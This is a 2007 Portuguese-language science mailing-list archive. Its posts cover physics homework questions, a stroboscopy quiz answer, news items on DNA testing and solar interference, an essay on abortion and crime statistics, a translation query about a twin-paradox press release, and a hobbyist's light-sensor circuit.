> variável no tempo. Por sua vez, um fluxo variável através da bobina
> secundária origina uma tensão secundária e2(t). Desprezando a
resistência
> dos enrolamentos, as perdas no núcleo e supondo que todo flixo
magnético
> circula através dele: a). Determine e2(t) em função de e1(t) de N1 e
de N2,
> supondo que não há carga na bobina secundária. b). Determine a
relação entre
> a tensão de entrada e a respectiva corrente. c). Determine o fluxo
magnético
> no núcleo e qual deverá ser a secção do mesmo de modo a que o valor
de B não
> exceda 0,8 T.
>
> 2.Considere a onda eletromagnética descrita por: Ex=0
Ey=E0cos[w(t-x/c)]
> Ez=0
> Com o auxílio das equações de Maxwell, determine a expressão do campo
> magnético associado.
>
> 3. Considere uma partícula confinada numa caixa de comprimento L.
Se a
> função de onda é dada por y(x)=raiz de 2/L sen3pix/L, qual a
probabilidade
> de encontrar essa partícula entre 2L/3 e L?
>




SUBJECT: Nunca traia uma geneticista
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 04:38

Nunca traia uma geneticista <http://100nexos.com/arquivo/204>

Ann Chamberlain-Gordon, legista do estado de Michigan, EUA, afirmou na
audiência de seu divórcio que analisou a cueca de Charles Gordon Jr., seu
marido, em busca de traços de DNA. Perguntada sobre o que descobriu, ela
respondeu: "Outra mulher. Não era eu". A polícia do estado está investigando
se tomará alguma ação disciplinar contra a
legista<http://www.detnews.com/apps/pbcs.dll/article?AID=/20070706/METRO/707060372/1003>,
que usou os laboratórios da instituição, mas diz ter feito os testes em seu
tempo livre e com produtos que iriam ser jogados fora. Mas a história não
termina aí.
Gordon, o marido, era jogador da liga de futebol americano canadense. Já Ann
Chamberlain-Gordon recebeu um prêmio por sua contribuição aos serviços
policiais de Michigan em 2006, através de sua pesquisa e desenvolvimento de
métodos para a recuperação de DNA embriônico/fetal. O caso veio a público
depois que Gordon negou ter reconhecido um caso depois que sua mulher
encontrou DNA feminino em sua cueca.

*Veja também:*
Dez coisas que você nunca deve comprar usadas (e dez que
deve)<http://100nexos.com/arquivo/88>Liz
Pulliam Weston do MSN Money dá as dicas...
Desafio: Blasfêmia! <http://100nexos.com/arquivo/42> "Aquele que blasfema
contra o Espírito Sa...
Uma criança morta é uma tragédia. Cem mil, é
estatística<http://100nexos.com/arquivo/92>"Se eu olho para uma massa
[de pessoas], nunca to...
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blogosfera fervilha com a notícia de que ...
Aborto redentor <http://100nexos.com/arquivo/198> "A gravidez indesejada é
uma causa muito m...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Sol pode causar queda de ligações celulares
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/07/2007 04:40

Sol pode causar queda de ligações
celulares<http://100nexos.com/arquivo/200><http://100nexos.com/arquivo/200#respond>

<http://www.space.com/scienceastronomy/solarsystem/cell_phone_020306.html>Um
novo estudo mostra que durante picos de atividade solar, o astro-rei pode
causar a queda de ligações de telefones celulares. O problema ocorre quando
ondas de rádio associadas com os picos atingem as torres, que ao mirarem o
horizonte aberto podem ser atingidas diretamente. Tais picos de
interferência ocorreriam até uma vez a cada 3,5 dias em anos de atividade
solar intensa.
A pesquisa, liderada por David Thomson da Queens
University<http://qnc.queensu.ca/story_loader.php?id=4665ab8276a4b>no
Canadá, partiu do curioso fato de que as quedas de ligações são mais
freqüentes no verão do que no inverno. As influências de tempestades solares
sobre nossos pobres equipamentos elétricos, tanto em terra como, claro, no
espaço, são conhecidas já há muito — e auroras solares são espetáculos
naturais quase tão antigos quanto o planeta.
Mas é especialmente interessante que uma tecnologia hoje tão comum quanto
telefones celulares possa ser uma nova forma de nos lembrar de nossa ligação
direta com o Sol. Principalmente quando a ligação cair.

*Veja também:*
Pulseira magnética <http://100nexos.com/arquivo/26> Veja mais no website do
fabricante. Pelo menos n�...
LRAD - Arma sônica <http://100nexos.com/arquivo/53> Ruídos altos e incômodos
têm ...
Melhor que o iPhone <http://100nexos.com/arquivo/186> O mundo aguarda a
chegada do monolito negro mais ...
Aborto redentor <http://100nexos.com/arquivo/198> "A gravidez indesejada é
uma causa muito m...
O aumento do preço do petróleo irá emagrecer os
americanos?<http://100nexos.com/arquivo/60>Não porque preços mais
altos da gas...


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SUBJECT: Aborto redentor
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/07/2007 04:43

Aborto redentor
<http://100nexos.com/arquivo/198><http://100nexos.com/arquivo/198#respond>

<http://revistaepoca.globo.com/Revista/Epoca/0,,EDG77020-6014-465-2,00.html>
"*A gravidez indesejada � uma causa muito mais importante dos crimes
violentos no Estado de S�o Paulo do que a desigualdade ou outros indicadores
econ�micos*. Esta � a conclus�o de um trabalho do economista Gabriel
Hartung, em etapa final de elabora��o", informa a nota da ag�ncia
Estado<http://ultimosegundo.ig.com.br/brasil/2007/07/16/estudo_liga_gravidez_indesejada_224_viol234ncia_em_sp_924391.html>.
A mat�ria da revista �poca � O aborto pode reduzir o
crime?<http://revistaepoca.globo.com/Revista/Epoca/0,,EDG77020-6014-465-2,00.html>�
d� muito mais detalhes sobre a pesquisa de Hartung, que � em verdade
sua
tese de mestrado na FGV-Rio, aprovada em outubro do ano passado. Nela,
Hartung "sugere que a legaliza��o do aborto seria uma alternativa para
reduzir os altos �ndices de criminalidade no Brasil". Isso mesmo.
A rela��o entre a legaliza��o aborto e a redu��o da criminalidade � a
principal tese das inusitadas an�lises econ�micas publicadas em um
best-seller no ano de 2005,
Freakonomics<http://rodrigoconstantino.blogspot.com/2007/05/importncia-dos-incentivos.html>.
Analisando dados brutos de forma inovadora, o economista americano Steven
Levitt <http://www.freakonomics.com/blog/> fez descobertas curiosas indo de
torneios de sum� a corretores imobili�rios, mas da s�rie extremamente
diversa de temas de seu livro, o principal sem d�vida � o que lida com a
diminui��o s�bita da criminalidade nos EUA ao longo da d�cada de 1990. Aqui
no Brasil, os ecos de tal milagre se fizeram conhecidos em id�ias como a
"toler�ncia zero", a pol�tica policial institu�da em Nova Iorque, tida como
um gigantesco sucesso. Como foi, mas o detalhe pouco conhecido � que a
criminalidade caiu n�o apenas em Nova Iorque, e j� estava caindo mesmo em
Nova Iorque anos antes de sua implanta��o. Pol�ticas inovadoras de combate
ao crime n�o devem ter sido o agente divino que diminuiu a criminalidade
americana para os n�veis mais baixos em 35 anos.
Levitt analisou outros fatores que poderiam explicar a queda s�bita e
consistente da marginalidade, e descobriu que a principal causa, uma mudan�a
radical e intimamente correlacionada com o milagre da queda da criminalidade
estava em andamento h� mais de uma d�cada. Mas era o pesadelo de grupos
religiosos conservadores: a legaliza��o do aborto em 1973. Dezessete anos
antes da d�cada de 1990, uma decis�o da Suprema Corte americana legalizando
o ato fez com que milhares e milhares de filhos indesejados simplesmente
deixassem de nascer. Filhos indesejados possuem maior risco de envolvimento
com o crime, e nos anos em que alcan�ariam a maturidade e substituiriam
gera��es anteriores de crimininosos, eles haviam simplesmente sumido. E a
tese � apoiada por n�meros <http://epoca.globo.com/edic/19991025/mundo1.htm>:
em estados que legalizaram o aborto anos antes da decis�o federal, o crime
tamb�m come�ou a cair anos antes.
A quest�o � extremamente complexa, e n�o � poss�vel abord�-la mesmo com o
m�nimo de profundidade e rigor necess�rio por aqui. O leitor interessado
pode ler os trabalhos de Levitt, desde seus papers (a revista �poca hospeda
os principais<http://revistaepoca.globo.com/Revista/Epoca/0,,EDG77020-6014,00.html>)
at� seu livro<http://compare.buscape.com.br/freakonomics-o-lado-oculto-inesperado-de-tudo-que-nos-afeta-steven-levitt-stephen-dubner-8535215042.html>,
ou se entender ingl�s, visitar o s�tio de Levitt<http://www.freakonomics.com/>.
O economista tem completa no��o da gravidade de suas id�ias, e as discute
com bom senso em Freakonomics, notando por exemplo que ainda que esteja
correto em sua tese, a decis�o sobre a legaliza��o do aborto obviamente n�o
� t�o simples como uma mera medida de seguran�a p�blica. Quantos fetos voc�
estaria disposto a trocar pela vida de um adulto? Como o pr�prio Levitt
nota, a menos que seja um n�mero consider�vel, ser favor�vel ao aborto
baseado apenas na aritm�tica de um menor n�mero de homic�dios anos depois
pode n�o ser muito v�lido.
Mas se a decis�o sobre a legalidade do aborto n�o deve ser feita baseada
apenas em sua correla��o com a criminalidade, a quest�o formulada h� pouco
vai diretamente ao seu cerne. Que � o fato de que a decis�o sobre a vida de
um feto � uma escolha cab�vel a sua m�e. Como notou Carlos
Cardoso<http://www.carloscardoso.com/2007/07/15/cara-leitora-um-destes-homens-pode-vir-a-ser-o-pai-do-seu-filho/>sobre
as discuss�es a respeito, "o interessante � que os lados s�o desiguais
nessa briga. Um quer simpesmente proibir, completamente, sem apela��o. O
outro quer dar � mulher o direito de ESCOLHER. No momento em que eu digo que
VOC� tem o direito de escolher se quer fazer algo ou n�o, eu n�o estou
impondo minha moralidade e meus valores. Mas seu digo que voc� n�o pode
porque EU acho errado,a coisa muda de figura".
Mulheres que praticaram o aborto poder�o, e comumente ter�o filhos mais
tarde, quando os desejarem. A leva de criminosos ausente em 1990 n�o � uma
gera��o exterminada de filhos de classes mais baixas. Tais filhos nasceram,
quando foram desejados. A "eugenia", termo brandido por cr�ticos sobre as
id�ias defendidas por Levitt, nunca foi adotada com grande sucesso atrav�s
de abortos volunt�rios, e sim de esteriliza��es *compuls�rias*.
Ironicamente, proibir abortos e obrigar mulheres a terem filhos � uma
pr�tica que os nazistas tamb�m
promoveram<http://en.wikipedia.org/wiki/Lebensborn>
.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: RG - tradução de texto.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 06:10

Lista,

Notícia quentinha. Ótima para outros pensadores que discordam da RG.

Em um dos últimos parágrafos, ele, Kak, escreveu: “.....no matter where
one might be within it.”, complementando um frase. Contudo não conseguí uma
tradução de modo a se encaixar no que sei a respeito.

Alguém poderia oferecer uma tradução adequada?

Grato

Victor.

“Faculty & Staff Focus, Science & Technology

LSU Professor Resolves Einstein’s Twin Paradox

14/02/2007 16:12


Subhash Kak, Delaune Distinguished Professor of Electrical and Computer
Engineering at LSU, recently resolved the twin paradox, known as one of the
most enduring puzzles of modern-day physics.

First suggested by Albert Einstein more than 100 years ago, the paradox
deals with the effects of time in the context of travel at near the speed of
light.

Einstein originally used the example of two clocks – one motionless, one in
transit. He stated that, due to the laws of physics, clocks being
transported near the speed of light would move more slowly than clocks that
remained stationary.

In more recent times, the paradox has been described using the analogy of
twins. If one twin is placed on a space shuttle and travels near the speed
of light while the remaining twin remains earthbound, the unmoved twin would
have aged dramatically compared to his interstellar sibling, according to
the paradox.



“If the twin aboard the spaceship went to the nearest star, which is 4.45
light years away at 86 percent of the speed of light, when he returned, he
would have aged 5 years. But the earthbound twin would have aged more than
10 years!” said Kak.


The fact that time slows down on moving objects has been documented and
verified over the



But, in the previous scenario, the paradox is that the earthbound twin is
the one who would be considered to be in motion – in relation to the sibling
– and therefore should be the one aging more slowly. Einstein and other
scientists have attempted to resolve this problem before, but none of the
formulas they presented proved satisfactory.



Kak’s findings were published online in the International Journal of
Theoretical Physics, and will appear in the upcoming print version of the
publication.

“I solved the paradox by incorporating a new principle within the
relativity framework that defines motion not in relation to individual
objects, such as the two twins with respect to each other, but in relation
to distant stars,” said Kak. Using probabilistic relationships, Kak’s
solution assumes that the universe has the same general properties no matter
where one might be within it.

“Eu resolví o paradox incorporando um novo princípio dentro do esquema da
relatividade que define o movimento não em relação aos objetos individuais,
tal como os dois gêmeos com respeito um ao outro, mas em relação à estrelas
distantes”, disse Kak. Usando relações probabilísiticas, a solução de Kak
assume que o universo tem as mesmas propriedades gerais no matter where one
might be within it.

The implications of this resolution will be widespread, generally enhancing
the scientific community’s comprehension of relativity. It may eventually
even have some impact on quantum communications and computers, potentially
making it possible to design more efficient and reliable communication
systems for space applications.



For more information, please contact Subhash Kak at 225-578-5552 or
<mailto:kak@ece.lsu.edu> kak@ece.lsu.edu.”



-30-







…..Using probabilistic relationships, Kak’s solution assumes that the
universe has the same general properties no matter where one might be within
it….

Sds,

Victor.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Quest�o da UFRJ
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "S�lvio Am�rico Bicalho Piacenza Piacenza" <silviopiacenza@yahoo.com.br>
DATE: 17/07/2007 07:13

Olá Sílvio,

É uma questão típica de estroboscopia.
Qqer rotação do ventilador (Nv), no sentido horário, porém menor que 24 (Nc) já implicará na exibição do ventilador girando em sentido anti-horário. Todavia, de todas essas possibilidades onde Nv < Nc, há uma infinidade delas nas quais a pá pintada será vista em posições fixas, sucessivamente, e, desse modo não será possível afirmar em que sentido aparente as pás estará girando. É preciso eliminar essa gama de incertezas.
Suponha que a filmagem se inicia com a pá pintada 'em cima'.
Se o ventilador girar a Nv = 12 rps = 12 Hz, por exemplo, e a câmara filmar sempre a Nc = 24 rps = 24 Hz, a projeção mostrará sucessivamente a pá 'em cima' e a pá 'em baixo', ou seja, duas posições sucessivas e simétricas. Assim, não dá para saber se o ventilador está girando no sentido horário ou anti-horário, pois as imagens aparecem sempre nos mesmos lugares. O mesmo aconteceria se o ventilador estivesse girando à 36 Hz. Assim, visualmente, 12Hz e 36 Hz dariam sensações idênticas --- em cima, em baixo, em cima, em baixo, .....
Para saber "onde" a tal pá pintada está, em cada instante (a contar do instante zero, onde está 'em cima'), basta equacionar: Q = 2.pi.f.t ou, com nossa notação para a freqüência, Q = 2.pi.Nv.t (t em segundos, Q em radianos).

Se o ventilador gira à Nv = 12 Hz, tem-se: Q = 24.pi.t, de modo que no primeiro fotograma (t=1/24 s) a pá pintada estará em: Q1 = 24.pi.(1/24) = pi, ou seja, deu meia volta e está 'em baixo'; no segundo fotograma estará em: Q2 = 24.pi.(2/24) = 2.pi, ou seja, deu uma volta completa e está 'em cima'. Nos próximos fotogramas estará sendo vista 'em baixo', 'em cima' etc. Não dá para saber em que sentido girou para mostrar essas posições!

Se o ventilador gira à Nv = 18 Hz, tem-se Q = 36.pi.t, de modo que no primeiro fotograma a tal pá será vista em: Q1 = 36.pi.(1/24) = 3.pi/2 = 270º (à esquerda). No segundo fotograma estará em: Q2 = 36.pi.(2/24) = 3.pi = 2.pi + pi = 1 volta e meia (está em baixo). Assim, o ventilador dá a impressão de estar girando em sentido anti-horário.Qualquer valor de Nv entre 18 e 24 (exclusive) dará essa sensação de girar em sentido anti-horário. Nv = 18 é o valor mínimo, resposta da questão.

Experimente determinar as posições sucessivas daquela pá para Nv = 16 Hz.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Sílvio Américo Bicalho Piacenza Piacenza
Para: Luiz Ferraz Netto
Enviada em: segunda-feira, 16 de julho de 2007 16:25
Assunto: Questão da UFRJ


Prezado Mestre: Caso possível gostaria da explicação deste problema.

Grato.


O olho humano retém durante 1/24 de segundo as imagens que se formam na retina. Essa memória visual permitiu a invenção do cinema. A filmadora bate 24 fotografias (fotogramas) por segundo. Uma vez revelado, o filme é projetado à razão de 24 fotogramas por segundo. Assim, o fotograma seguinte é projetado no exato instante em que o fotograma anterior está desaparecendo de nossa memória visual, o que nos dá a sensação de continuidade.

Filma-se um ventilador cujas pás estão girando no sentido horário. Este ventilador possui quatro pás simetricamente dispostas, uma das quais pintadas de cor diferente. Ao projetarmos o filme, os fotogramas aparecem na tela numa sequência que nos dá a sensação de que as pás estão girando em sentido anti-horário.

Desta forma, o número mínimo de rotações por segundo que as pás devem estar efetuando, para que isto ocorra, é de:

A) 12
B) 18
C) 24
D) 36
E) 42

Resposta pela minha apostila: B) 18


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Fw: Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 07:28

É, penso o mesmo que vc. Todavia, por vezes tenho recaídas. E, por outro lado, o número de consulentes que pede para "resolver problemas" não é grande; esse mês ainda não chegou a 5! Na grande maioria das consultas são "dúvidas" e "perguntas" que eu classifico como 'boas'. Há muitos pedidos de esquemas eletrônicos, de professores que pedem sugestões para construir tal e qual aparelho e hobbistas das mais variadas espécies (até de moto contínuo). Acústica é um tema bem procurado.

No mais das vezes que apresento tais perguntas por aqui na C-List, a finalidade é a didática da resposta, principalmente para os guris até a 8a série (ou mães deles, que fazem a pergunta).

Takata é um colaborador emérito; quando eu morrer vou deixar, no testamento, para ele, parte de minha vasta fortuna. Não sei se ele vai aceitar ou re-doar para a igreja mais próxima da casa dele, para garantir um lugar ao meu lado lá no céu.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 16 de julho de 2007 23:54
Assunto: [ciencialist] Re: Fw: Física


Eu fico me perguntando porque que os "consulentes" não têm nenhum
interesse pela teoria ou pelos conceitos envolvidos e, ao invés disso,
ficam postando pedidos de "resolução de problemas". Eu me recuso a
fazer a lição de casa de meus alunos, imagine a dos alunos dos outros
então. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(U\)"
<alvaro@...> escreveu
>
> É sério ou de brincadeira? Casualmente, sei responder às três
questões, mas
> não gostaria que outro professor resolvesse exercícios que passo
para os
> meus alunos...
>
> [ ]s
>
> Alvaro Augusto
>
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@...>
> To: "ciencialist" <ciencialist@yahoogrupos.com.br>
> Sent: Monday, July 16, 2007 5:33 PM
> Subject: [ciencialist] Fw: Física
>
>
> Cadê meus assessores físicos?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: Odair Junior
> Para: leobarretos@...
> Enviada em: segunda-feira, 16 de julho de 2007 15:42
> Assunto: Física
>
>
> Olá professor léo, tudo bem? Sou Odair e tenho uns probleminhas(3)
de Física
> que não estou conseguindo resolvê-los, e, estou muito curioso, pois são
> muito interessantes. Por favor professor, resolva-os para mim:
>
> 1.Um transformador elétrico é constituído por um núcleo ferromagnético
> envolvido por duas bobinas de fio condutor, a bobina primária com N1
espiras
> e a bobina secundária com N2 espiras.Uma tensão e1(t), variável no
tempo,
> aplicada à bobina primária, origina um fluxo magnético no núcleo,
também
> variável no tempo. Por sua vez, um fluxo variável através da bobina
> secundária origina uma tensão secundária e2(t). Desprezando a
resistência
> dos enrolamentos, as perdas no núcleo e supondo que todo flixo
magnético
> circula através dele: a). Determine e2(t) em função de e1(t) de N1 e
de N2,
> supondo que não há carga na bobina secundária. b). Determine a
relação entre
> a tensão de entrada e a respectiva corrente. c). Determine o fluxo
magnético
> no núcleo e qual deverá ser a secção do mesmo de modo a que o valor
de B não
> exceda 0,8 T.
>
> 2.Considere a onda eletromagnética descrita por: Ex=0
Ey=E0cos[w(t-x/c)]
> Ez=0
> Com o auxílio das equações de Maxwell, determine a expressão do campo
> magnético associado.
>
> 3. Considere uma partícula confinada numa caixa de comprimento L.
Se a
> função de onda é dada por y(x)=raiz de 2/L sen3pix/L, qual a
probabilidade
> de encontrar essa partícula entre 2L/3 e L?
>




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SUBJECT: Re: [ciencialist] RG - tradução de texto.
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 09:57

N�o sei se isso se enquadra no que voc� sabe (e n�o sei o que voc� sabe,
afinal), mas parece uma frase que j� vi muitas vezes antes, em artigos
cient�ficos. Ficaria algo como:
"Usando rela��es probabil�sticas, a solu��o de Kak considera que o universo
tem as mesmas propriedades gerais, n�o importando em que parte dele voc�
esteja."

Gil

2007/7/17, J.Victor <j.victor.neto@uol.com.br>:
>
> Lista,
>
> Not�cia quentinha. �tima para outros pensadores que discordam da RG.
>
> Em um dos �ltimos par�grafos, ele, Kak, escreveu: ".....no matter where
> one might be within it.", complementando um frase. Contudo n�o consegu�
> uma
> tradu��o de modo a se encaixar no que sei a respeito.
>
> Algu�m poderia oferecer uma tradu��o adequada?
>
> Grato
>
> Victor.
>
> "Faculty & Staff Focus, Science & Technology
>
> LSU Professor Resolves Einstein's Twin Paradox
>
> 14/02/2007 16:12
>
>
> Subhash Kak, Delaune Distinguished Professor of Electrical and Computer
> Engineering at LSU, recently resolved the twin paradox, known as one of
> the
> most enduring puzzles of modern-day physics.
>
> First suggested by Albert Einstein more than 100 years ago, the paradox
> deals with the effects of time in the context of travel at near the speed
> of
> light.
>
> Einstein originally used the example of two clocks � one motionless, one
> in
> transit. He stated that, due to the laws of physics, clocks being
> transported near the speed of light would move more slowly than clocks
> that
> remained stationary.
>
> In more recent times, the paradox has been described using the analogy of
> twins. If one twin is placed on a space shuttle and travels near the speed
> of light while the remaining twin remains earthbound, the unmoved twin
> would
> have aged dramatically compared to his interstellar sibling, according to
> the paradox.
>
>
>
> "If the twin aboard the spaceship went to the nearest star, which is 4.45
> light years away at 86 percent of the speed of light, when he returned, he
> would have aged 5 years. But the earthbound twin would have aged more than
> 10 years!" said Kak.
>
>
> The fact that time slows down on moving objects has been documented and
> verified over the
>
>
>
> But, in the previous scenario, the paradox is that the earthbound twin is
> the one who would be considered to be in motion � in relation to the
> sibling
> � and therefore should be the one aging more slowly. Einstein and other
> scientists have attempted to resolve this problem before, but none of the
> formulas they presented proved satisfactory.
>
>
>
> Kak's findings were published online in the International Journal of
> Theoretical Physics, and will appear in the upcoming print version of the
> publication.
>
> "I solved the paradox by incorporating a new principle within the
> relativity framework that defines motion not in relation to individual
> objects, such as the two twins with respect to each other, but in relation
> to distant stars," said Kak. Using probabilistic relationships, Kak's
> solution assumes that the universe has the same general properties no
> matter
> where one might be within it.
>
> "Eu resolv� o paradox incorporando um novo princ�pio dentro do esquema da
> relatividade que define o movimento n�o em rela��o aos objetos
> individuais,
> tal como os dois g�meos com respeito um ao outro, mas em rela��o �
> estrelas
> distantes", disse Kak. Usando rela��es probabil�siticas, a solu��o de Kak
> assume que o universo tem as mesmas propriedades gerais no matter where
> one
> might be within it.
>
> The implications of this resolution will be widespread, generally
> enhancing
> the scientific community's comprehension of relativity. It may eventually
> even have some impact on quantum communications and computers, potentially
> making it possible to design more efficient and reliable communication
> systems for space applications.
>
>
>
> For more information, please contact Subhash Kak at 225-578-5552 or
> <mailto:kak@ece.lsu.edu> kak@ece.lsu.edu."
>
>
>
> -30-
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>
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>
> �..Using probabilistic relationships, Kak's solution assumes that the
> universe has the same general properties no matter where one might be
> within
> it�.
>
> Sds,
>
> Victor.
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> [As partes desta mensagem que n�o continham texto foram removidas]
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> http://www.ciencialist.com
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SUBJECT: Fw: Pneumatica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 11:29

Também não sei o que é "pcm". Será polegada ao cubo?
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Joao Luis Silva Araujo Araujo
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 16 de julho de 2007 10:10
Assunto: Pneumatica


Comprei um lixadeura pneumatica que vem informando que seu consumo e de 18 pcm a 90 psi.
não entendi o que significa pcm nesse caso pois quero fazer um calculo de quanto tempo ela terá de autonomia com meu compressor pois sue reservatorio e de 12 Litors e 200 psi.


João Luis Silva Araújo
Técnico em Telecomunicações
55+ 84 9132-7631

Flickr agora em português. Você cria, todo mundo vê. Saiba mais.


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SUBJECT: Fw: Por favor, ajude-me!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 11:39

Dá gosto, ou não, responder dúvidas assim!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Lucas Ribeiro Lopes Cardoso" <luck_477@hotmail.com>
Para: <leobarretos@uol.com.br>
Enviada em: sábado, 14 de julho de 2007 19:02
Assunto: Por favor, ajude-me!


| Olá!!!
| Meu nome é Lucas e tenho 16 anos. Sou um grande fã de seu site
| feiradecientias.com.br, e o acompanho já a algum anos!
| O procuro tanto por trabalhos escolares, quanto por trabalhos que
| realizo por hoobie em minha casa, sempre obtendo resultados excelentes, já
| que no site, sempre encontro explicações detalhadas, e em uma linguagem de
| fácil entendimento.
| Contudo, procurando me desprender um pouco de trabalhos criados por
| outras pessoas, criei uma invenção minha, e que, apesar de humilde e
| simples, será de grande utilidade para mim, sem falar no prazer de
| construi-la.
| Consiste em um sisteminha que será implantado no meu guarda-roupas, e
| que ao abrir a porta do mesmo(fechando o circuito), um LDR(conhecimento
| obtido em seu site) instalado na parte de cima do armário, percebe ou não a
| presença de luz.
| Se o quarto estiver claro(no caso, quando estiver dia) nada acontece e o
| sistema fica sem utilização. Já se o quarto estiver escuro(no caso, em razão
| do meu irmão que pode estar dormindo), uma luz se acende e ilumina o
| interior do armário. E ao abrir a gaveta, fecho outro circuito que, por sua
| vez acende outra lâmpada, desta vez, dentro da gaveta. O mesmo acontece no
| outro armário só que sem a parte da gaveta.
| Portanto (ao meu ver), consiste em um sistema de três lâmpadas, três
| interruptores, um LDR e uma fonte de alimentação. E é ai que mora o meu
| problema!
| Ao começar a desenhar o esquema, apareceram algumas dúvidas das quais
| não possuo o conhecimento necessário para resoulve-las, são essas:
| * Como são três lâmpadas de 25W e, portanto, não posso acende-las com
| pilhas, seria possível utilizar uma corrente elétrica convencional de 110V
| sem estragar o LDR? (Desculpe minha ignorância nesse assunto e me perdõe se
| eu estiver dizendo alguma besteira muito grande!)
| * Se for possivel, como posso fazer para que o sistema funcione?
| Utilizarei resistores?
|
| Me arrisquei tentando esboçar alguma coisa sobre o sistema, por favor,
| corriga-me se eu estiver errado! Estou lhe enviando como anexo!
| Peço encarecidamente que me ajude, contudo entenderei se não for
| possivel. Ainda assim lhe agradeço muito pelo conhecimento que me foi, e
| será, fornecido pelo seu site! Uma ótima fonte de conhecimento, parabéns
| pelo seu trabalho!
| Muito obrigado!
|
| _________________________________________________________________
| Chegou o Windows Live Spaces com rede social. Confira
| http://spaces.live.com/
|


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SUBJECT: RES: [ciencialist] RG - tradução de texto.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 13:59

Olá, Gil,

Grato pelo retorno.
Realmente o significado "... no matter where one might be within it." só
poderia ser mesmo

"...não importando em que parte dele você esteja."

Mas extrair isto da expressão acima é que estava dando um nó.

Sds,
Victor.

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Gil
Enviada em: terça-feira, 17 de julho de 2007 09:58
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] RG - tradução de texto.

Não sei se isso se enquadra no que você sabe (e não sei o que você sabe,
afinal), mas parece uma frase que já vi muitas vezes antes, em artigos
científicos. Ficaria algo como:
"Usando relações probabilísticas, a solução de Kak considera que o universo
tem as mesmas propriedades gerais, não importando em que parte dele você
esteja."

Gil

2007/7/17, J.Victor <j.victor.neto@uol.com.br>:
>
> Lista,
>
> Notícia quentinha. Ótima para outros pensadores que discordam da RG.
>
> Em um dos últimos parágrafos, ele, Kak, escreveu: ".....no matter where
> one might be within it.", complementando um frase. Contudo não conseguí
> uma
> tradução de modo a se encaixar no que sei a respeito.
>
> Alguém poderia oferecer uma tradução adequada?
>
> Grato
>
> Victor.
>
> "Faculty & Staff Focus, Science & Technology
>
> LSU Professor Resolves Einstein's Twin Paradox
>
> 14/02/2007 16:12
>
>
> Subhash Kak, Delaune Distinguished Professor of Electrical and Computer
> Engineering at LSU, recently resolved the twin paradox, known as one of
> the
> most enduring puzzles of modern-day physics.
>
> First suggested by Albert Einstein more than 100 years ago, the paradox
> deals with the effects of time in the context of travel at near the speed
> of
> light.
>
> Einstein originally used the example of two clocks – one motionless, one
> in
> transit. He stated that, due to the laws of physics, clocks being
> transported near the speed of light would move more slowly than clocks
> that
> remained stationary.
>
> In more recent times, the paradox has been described using the analogy of
> twins. If one twin is placed on a space shuttle and travels near the speed
> of light while the remaining twin remains earthbound, the unmoved twin
> would
> have aged dramatically compared to his interstellar sibling, according to
> the paradox.
>
>
>
> "If the twin aboard the spaceship went to the nearest star, which is 4.45
> light years away at 86 percent of the speed of light, when he returned, he
> would have aged 5 years. But the earthbound twin would have aged more than
> 10 years!" said Kak.
>
>
> The fact that time slows down on moving objects has been documented and
> verified over the
>
>
>
> But, in the previous scenario, the paradox is that the earthbound twin is
> the one who would be considered to be in motion – in relation to the
> sibling
> – and therefore should be the one aging more slowly. Einstein and other
> scientists have attempted to resolve this problem before, but none of the
> formulas they presented proved satisfactory.
>
>
>
> Kak's findings were published online in the International Journal of
> Theoretical Physics, and will appear in the upcoming print version of the
> publication.
>
> "I solved the paradox by incorporating a new principle within the
> relativity framework that defines motion not in relation to individual
> objects, such as the two twins with respect to each other, but in relation
> to distant stars," said Kak. Using probabilistic relationships, Kak's
> solution assumes that the universe has the same general properties no
> matter
> where one might be within it.
>
